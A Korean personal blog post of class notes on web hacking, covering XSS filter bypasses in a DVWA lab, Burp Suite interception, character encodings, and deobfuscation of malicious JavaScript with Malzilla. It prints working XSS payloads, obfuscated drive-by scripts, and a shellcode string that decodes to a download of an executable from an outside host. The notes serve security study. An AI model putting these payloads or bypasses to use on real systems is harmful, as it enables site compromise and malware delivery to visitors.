공부/Application Security

9월 5일 웹해킹 2

마준123 2022. 9. 5. 10:06

스크립트의 유형

 

1.파일 형태 : 확장자는 js(자바스크립트)

 

2. html,jsp/asp/php에 들어있는 경우

 <script>~</script>로 삽입

 

3.image tag의 일부

 <img scr = "javascript:alert('xss');">     (경고창을 이용)

 

4. 주소표시줄 뒤에 붙는 경우

> '%3e%3c%2fscript%3e%3cscript%3ealert('XSS')%3c%2fscript%3e

티스토리도 스크립트를 사용해서 그런지 예시가 써지질 않는다 ㅋㅋㅋ

 /script로 스크립트를 닫고 공격자가 원하는 스크립트를 작성하는것

 

실습)VM ware를 실행

 Ubuntu_DVWA를 선택하고 , Play Virtual Machine를 클릭

 아이피를 강사님과 똑같이 맞춰서 그냥 바로 브라우저에서 192.168.5.128 접속하면됨

 

xss(reflected)

 참고) CSS(Cascading Style sheet) : 글꼴,테두리,표모양 등등 웹사이트의 모양을 통일시키는 파일

     ----->모든 페이지에 CSS를 참조하도록 하면 일정한 형태로 보여지게 됨

 

그래서 Cross Site Scripting과 약자가 겹치기 때문에 CROSS를 X로 생각하고 약자를 XSS로 정하였다 가 학계의 점심.

 

*DVWA의 XSS Reflected (사용자가 입력한 값을 그대로 실행시켜서 사용자에게 보여줌)

 <script>alert('힌남노')</script> (이건 왜 써지지)

------> 이 스크립트가 당연히 공격은 아니지만 이 스크립트가 실행 된다면 공격용 스크립트도 얼마든지 가능하다는 의미

------> 실습할 때는 간단하게 작성된 스크립트로 테스트를 하기위해 자주 사용하는 스크립트

 

1)Low

 그냥 실행됨

 

2)Medium

  DVWA Security 탭의 Llow를 Medium 으로 바꿔보자

 이번엔 아까처럼 스크립트만 넣는다고 실행되지 않고 스크립트는 사라지고 알맹이만 남음

 오른쪽 아래 뷰소스를 눌러보자

  $name str_replace'<script>'''$_GET'name' ] );

 라고 써있는데 스크립트 태그를 다 공백으로 치환시킨다는 의미

-----------------------------------------------------------------------------------------------------------------------------------

 이걸 파훼하는 방법에는 뭐가있을까?

 <SCRIPT>alert('힌남노')</script> // 소문자 스크립트만 필터링 하기 때문에 대문자로 변경

 

3)High

 $name preg_replace'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'''$_GET'name' ] );

(.*)은 중간에 뭐가 들어가든 스크립트가 보이면 다 조지라는 뜻이고 /i는 대소문자 둘다 조지라는 뜻이다

 

4)impossible

$name htmlspecialchars$_GET'name' ] );

htmlspecialchars()gkatn : html태그로 변환해주는 함수

ex) <는 &lt;로 변환, >sms &gt;으로 변환, &는 &emp;로 변환,  "는 &quot;로 변환, 등등으로 변경해주는 함수

---------->사용자에게는 정상적으로 보이지만, 실행되지 않는다!

 *참고, 어케 변환되는지 나와있는 공식문서) https://www.php.net/manual/en/function.htmlspecialchars.php

 

XSS(stored)

#다시 Low로 바꾸고 XSS(stored)로 가보자

 stored는 저장하다는 의미죠

 스크립트를 DB에 저장했다가 방문자의 웹브라우저에서 동작하도록 만드는 방식

 게시판,방명록 등에 스크립트가 저장되는 방식

 

1)Low

 게시판에 그냥 <script>alert('힌남노')</script>  쓰면 들어올때마다 스크립트가 실행된다.

 

2)Medium

  message 부분은 secure Coding 3중 방어를 하고있음

 하지만 name 부분은 DB쪽만 방어를 하고있고 별다른 방어가 취해지질 않았음

 그렇기 때문에 name 에 스크립트를 넣으려고 했지만 글자수가 10글자로 제한되어 있기때문에 넣을수가 없음

 하지만 이건 서버에서 막는게아니라 클라이언트 쪽에서 막고있는거기 때문에 개발자 도구에서 글자수를 변경하여 입력하면 파훼 성공~!

 

---------------------------------------------------------------------------------------------------------------------------------------------------------

https://portswigger.net/burp

프로덕트 - 커뮤니티 에디션 - 밑에 고 스트레이트 다운로드 클릭

 burp suite는 proxy도구로 sever와 client의 사이에 존재하는것

 sever에게는 client인 척하고, client에게는 server인 척 함

 server에 가까우면 server의 부담을 덜어주는 역할

 internet에 있으면 client의 ip주소를 숨겨주는 역할

 client에 가까이 있으면 방화벽의 역할 또는 http요청을 조작할 수도 있다

 대표적인 도구 : Burp suite, paros proxy(소스코드 공개, 커스터마이징 가능), charley, Fiddler2, Achilles 등등



*Burp Suite

 Burp는 트림이라는 뜻, Suite( 발음 스위트 라고함 ) 는 여러개를 붙여놓았다는 의미 ( 호텔 스위트룸) 



원래 브라우저에서 웹서버로 바로 가야하지만 프록시를 한번 거치고 웹서버로 가는 형태로 만들어주는 것



인터넷속성 - 연결 - 랜설정 -프록시 서버 체크 - 주소 127.0.0.1, 포트 8080 확인

 이렇게하면 이제부터 버프스위트를 들렸다가 간다!

 

버프스위트에서 인터셉트 온 버튼을 누른다

그 상태에서 xss(stored)에서 게시글을 작성하면 바로 작성되지 않고 서버로 보내기전에 버프트위트에 한번 뜨는데
그 안에 name에 스크립트를 넣고 포워드 시키면 스크립트 올리기 완료~

근데 이 상태에서 다른 인터넷(네이버,카카오 등)을 하면 인증서 오류가 발생해서 접속이 불가능( 사실 브라우저가 차단하는것)

 

모의 해킹 및 실제 해킹 상황에서

약 1/4은 F12(개발자도구) 또는 proxy 도구로 풀림

-------------------------------------------------------------------------------------------------------------------------------------------

 

난독화 : 읽기 어렵게 만드는 것.

 원래 목적은 개발자들의 내부 정보를 숨기기 위한 목적으로 사용했음

 DBD를 위한 스크립트의 경우, 악성코드가 있는 서버의 URL, IP주소, 악성코드의 이름 등이 들어있음

  (IP주소,URL을 파악하면, 방화벽에 방문 금지 목록에 추가 ------>우리 회사 직원들이 악성코드 유포지를 방문하지 않게 됨!

 공격자들이 URL, IP주소, 악성코드 이름 등을 숨기기 위한 목적으로 난독화를 사용

 난독화는 생소한 인코딩에 복잡한 함수를 포함 ----->사람은 읽을 수 없지만, 웹브라우저는 읽을 수 있음

 특히 난독화에 사용되는 함수는 아래와 같다

    unescape( ) : Escape처리된 문자들을 원래대로 되돌리는 함수

    eval( ) : 연산을 수행하는 함수

    String.fromCharCode( ) : 10진수를 ASCII로 변환하는 함수

        *Sring.fromCharCode:SCC는 대문자로 써야 정상 동작함

 

인코딩/ 디코딩

 인코딩 : 컴퓨터가 이해하기 쉽도록 변환

 디코딩 : 사람이 이해하기 쉼도록 변환

 

* ASCII(7bit) : 대문자, 소문자, 숫자, 특수문자, 기능 등을 표시하기 위한 언어

  2의 7승 = 128개의 문자 표현 가능

* Unicdoe(16bit) : 3개국어 표현가능

  2의 16승 = ??만큼 문자 표현 가능

* EUC-kr : MS Windows에서 사용하는 한글 인코딩 ( 완성형의 발전된 형태)

* UTF-8 : Web, Database, Linux 등에서 한글 인코딩 (조합형의 발전된 형태)

* Base64 : 64진법 (64는 2의 6승이므로 6bit 2bit 단위로 3개씩 사용)

  대문자, 소문자, 숫자를 활용해서 문자를 표현 ( 특수문자는 안씀)

  전체크기가 약 1.4배정도 증가

  인코딩사이트 : https://www.base64encode.org/

  디코딩사이트 : https://www.base64decode.org/

  QXJlIHlvdSBzbGVlcGluZyBub3c/ ----> Are you sleeping now? (길이가 약 1.4배 정도 증가)

  문자를 3,6,9 단위로 맞추기 때문에 모자라는 글자는 = 을 추가하게됨

  3,6,9는 패딩을 사용하지 않음

  2,5,8은 패딩(=)을 1개사용

  1,4,7은 패딩(=)을 2개사용

* Hex( Hexa - decimal : 16진수 = 2의 4승 = 4bit, 두자리씩 묶으면 8bit=1byte 단위사용)

  - 구분자로 %를 사용 ex) %eb

  - 구분자로 \x ex) \x3a \x00 \x1a

  cf. UCS(Universal Character Set, 범용 문자 집합) (Universal은 미국빼고 전부포함 영어빼고 나머지 문자 집합 정도)

  UCS2는 16비트를 사용하므로 4자리 단위로 표현 ex) \x09ae, %u1a3c

 

  16은 2의 4승이므로 4bit, 4bit를 두개로 묶으면 8bit가 되고 8bit를 1byte라고 하고 Octet

 

--------------------------------------------------------------------------------------------------------------------------------------------------

 

* 악성코드 분석방법

  정적분석 : 소스코드, 외혀으 함수 등을 보고 악의적인 행위를 예상하는 것

  동적분석 : 실제로 악성코드를 실행한 다음 악의적인 행위를 하는지 확인

 

*UTF - 7 을 HTML로 만들어서 실행시키면

 Chrome이나 Edge는 코드가 그대로 보임

 그런데 internet Explore에서는 경고창이 한번 뜨고 승인하면 

  +ADw-script+AD4-alert("Just what do you think you're doing")+ADw-/script+AD4- 에서

  +ADw-등을 < 등으로 인식해 스크립트를 실행함 (익스플로러의 과잉친절)

 

*Malzilla (난독화 해제도구)를 이용한 실습

  인코딩해석하기.pptx 파일의 3번째 페이지의 스크립트 에서 태그를 제외하고 e에서 ;까지를 복사해서 말질라의 디코더 탭에 붙여넣기 하고 런 스크립트 누르기

 

<script language="JavaScript">e = '0x00' + '5F';

  str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";

str=tmp='';for(i=0;i<str1.length;i+=3)

{tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}

document.write(str);</script>

 

디코딩후 

 

<div style="visibility:hidden"><iframe src="http://prado7.com/trf/" width=1 height=1></iframe></div>

"http://prado7.com/trf/" 가 악성코드 유포지

 

--------------------------------------------------------------------------------------------------------------------------------------------------------------

 

Replace eval() 다시보기

 

*Misc Decoders(만질라 위에 탭)

"%u90" + "90" +"%uefe9%u0000%u5a00%ua164%u00" + "30%u0000%u408b%u8b0c%u1c70%u" +"8bad%u0840%ud88b%u738b%u8b3c" + "%u1e74%u0378%u8bf3%u207e%ufb" +"03%u4e8b%u3314%u56ed%u5157%u" + "3f8b%ufb03%uf28b%u0e6a%uf359" +"%u74a6%u5908%u835f%u04c7%ue2" + "45%u59e9%u5e5f%ucd8b%u468b%u" +"0324%ud1c3%u03e1%u33c1%u66c9" + "%u088b%u468b%u031c%uc1c3%u02" +"e1%uc103%u008b%uc303%ufa8b%u" + "f78b%uc683%u8b0e%u6ad0%u5904" +"%u6ae8%u0000%u8300%u0dc6%u56" + "52%u57ff%u5afc%ud88b%u016a%u" +"e859%u0057%u0000%uc683%u5613" + "%u8046%u803e%ufa75%u3680%u5e" +"80%uec83%u8b40%uc7dc%u6303%u" + "646d%u4320%u4343%u6643%u03c7" +"%u632f%u4343%u03c6%u4320%u20" + "6a%uff53%uec57%u04c7%u5c03%u" +"2e61%uc765%u0344%u7804%u0065" + "%u3300%u50c0%u5350%u5056%u57" +"ff%u8bfc%u6adc%u5300%u57ff%u" + "68f0%u2451%u0040%uff58%u33d0" +"%uacc0%uc085%uf975%u5251%u53" + "56%ud2ff%u595a%ue2ab%u33ee%u" +"c3c0%u0ce8%uffff%u47ff%u7465" + "%u7250%u636f%u6441%u7264%u73" +"65%u0073%u6547%u5374%u7379%u" + "6574%u446d%u7269%u6365%u6f74" +"%u7972%u0041%u6957%u456e%u65" + "78%u0063%u7845%u7469%u6854%u" +"6572%u6461%u4c00%u616f%u4c64" + "%u6269%u6172%u7972%u0041%u72" +"75%u6d6c%u6e6f%u5500%u4c52%u" + "6f44%u6e77%u6f6c%u6461%u6f54" +"%u6946%u656c%u0041%u7468%u7074%u2f3a%u632f%u772e%u6361%u7973%u632e%u6d6f%u6f2f%u2e6b%u7865%u0065"

 

붙여넣기 - concatenate(중간에 +등으로 잘라져있는걸 붙이는 기능)

 

"%u9090%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c%u0041%u7468%u7074%u2f3a%u632f%u772e%u6361%u7973%u632e%u6d6f%u6f2f%u2e6b%u7865%u0065"

 

UCS2 -> hex ->ASCII 의 과정을 거치기 위해 일단 UCS2 to Hex 버튼을 누른다(%u, 즉 구분자가 제거됨)

 

"9090e9ef0000005a64a1300000008b400c8b701cad8b40088bd88b733c8b741e7803f38b7e2003fb8b4e1433ed5657518b3f03fb8bf26a0e59f3a67408595f83c70445e2e9595f5e8bcd8b462403c3d1e103c133c9668b088b461c03c3c1e10203c18b0003c38bfa8bf783c60e8bd06a0459e86a00000083c60d5256ff57fc5a8bd86a0159e85700000083c6135646803e8075fa8036805e83ec408bdcc703636d64204343434366c7032f634343c60320436a2053ff57ecc704035c612e65c74403047865000033c05050535650ff57fc8bdc6a0053ff57f0685124400058ffd033c0ac85c075f951525653ffd25a59abe2ee33c0c3e80cffffff47657450726f63416464726573730047657453797374656d4469726563746f7279410057696e457865630045786974546872656164004c6f61644c696272617279410075726c6d6f6e0055524c446f776e6c6f6164546f46696c654100687474703a2f2f632e77616373792e636f6d2f6f6b2e65786500"

 

이걸 복사해서 hex view탭에가서 우클릭후 past as hex 버튼을 누른다

 

그러면 우측에 http://c.wacsy.com/ok.exe ok.exe가 다운로드되는 악성코드를 확인할 수 있다.

 

* Mal.js

 

%D5%B3%D7%B8%F0%BB%BF%E9%EB%F0%E9%B5%D7%B8%F0%BB%BF%E9%EB%F0%EA%B5%D7%B8%F0%BB%BF%E9%EB%F0%EB%B5%D7%B8%F0%BB%BF%E9%EB%F0%EC%B5%D7%B8%F0%EB%B0%BD%ED%D3%BA%D5%B3%F5%A8%FF%E0%E1%E4%ED%A0%D7%B8%F0%BB%BF%E9%EB%F0%ED%B4%D7%B8%F0%BB%BF%E9%EB%F0%BD%D3%D7%B8%F0%EB%B0%BD%ED%D3%B9%B8%D5%D5%A1%B3%B3%FA%ED%FC%FD%FA%E6%A8%FD%E6%ED%FB%EB%E9%F8%ED%A0%D7%B8%F0%BB%BF%E9%EB%F0%BE%A1%B3%F5%A8%B3%F5%A8%B3%FE%E9%FA%A8%E7%EA%E2%B5%A8%E6%ED%FF%A8%C6%ED%FF%C7%EA%E2%ED%EB%FC%A0%D7%B8%F0%EB%B0%BD%ED%D3%B9%B9%D5%A1%B3%E7%EA%E2%A6%DB%E9%F1%C0%ED%E4%E4%E7%A0%D7%B8%F0%EB%B0%BD%ED%D3%B9%BA%D5%A1%B3";

pass = unescape(Mal);
function boot(){
var key = arguments.callee.toString().replace(/\W/g,"");
if(key.length == 136){
  var en = "";
    for( i=0; i < pass.length; i++ ) {
      en += String.fromCharCode(pass.charCodeAt(i)^key.length);
    }
    eval(en);
}
}
boot();

 

를 Decoder에 넣고 Replace eval() with 체크하고 런 스크립트 돌리고 이그노어 누르고 예스 누르기

 

\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","\x55\x47\x46\x7A\x63\x33\x64\x76\x63\x6D\x51\x67\x61\x58\x4D\x67\x54\x57\x46\x7A\x63\x31\x4E\x52\x54\x45\x6C\x75\x61\x6D\x56\x6A\x64\x47\x6C\x76\x62\x67\x3D\x3D","","\x53\x61\x79\x48\x65\x6C\x6C\x6F","\x47\x65\x74\x43\x6F\x75\x6E\x74","\x50\x61\x73\x73\x77\x6F\x72\x64","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x57\x61\x72\x6E\x69\x6E\x67\x20\x3A\x20","\x4D\x61\x6C\x69\x63\x69\x6F\x75\x73\x20\x43\x6F\x64\x65\x20\x53\x74\x61\x72\x74

 

를 헥스뷰에 넣고 돌려보기

 

여기서 나오는 UGFzc3dvcmQgaXMgTWFzc1NRTEluamVjdGlvbg== 를 위에서 사용한 Base64 디코더에 넣으면 정답이 나온다!

답은 Password is MassSQLInjection (강사님이 답을 알려주시기 전에 풀어서 즐거웠다 ㅎ)

 

* 난독화

 공격 스크립트의 약 90%는 난독화를 이용하는 것이 특징

--------------------------------------------------------------------------------------------------------------------------------------------------------------

* Deface 공격기법 : 망신을 준다는 의미로 다른 창(사진) 등을 띄우는 공격방식

 

 DIV 태그를 사용하는 기법

 <DIV style="position:absolute; left:200; top:90; Z-index:2;"> <img src="hack.jpg"></DIV>

 position:absolute : 위치값으로 left나 top을 지정.

 left는 좌측으로 부터의 거리

 top는 상단으로 부터의 거리

 Z-index : 레이어의 순서를 지정.(숫자가 클수록 위로 상승)

 

 

 

'공부 > Application Security' 카테고리의 다른 글

9월13일 웹해킹 6  (2) 2022.09.13
9월 8일 웹해킹 5  (0) 2022.09.08
9월7일 웹해킹 4  (0) 2022.09.07
9월6일 웹해킹 3  (0) 2022.09.06
9월 2일 웹해킹 1  (2) 2022.09.02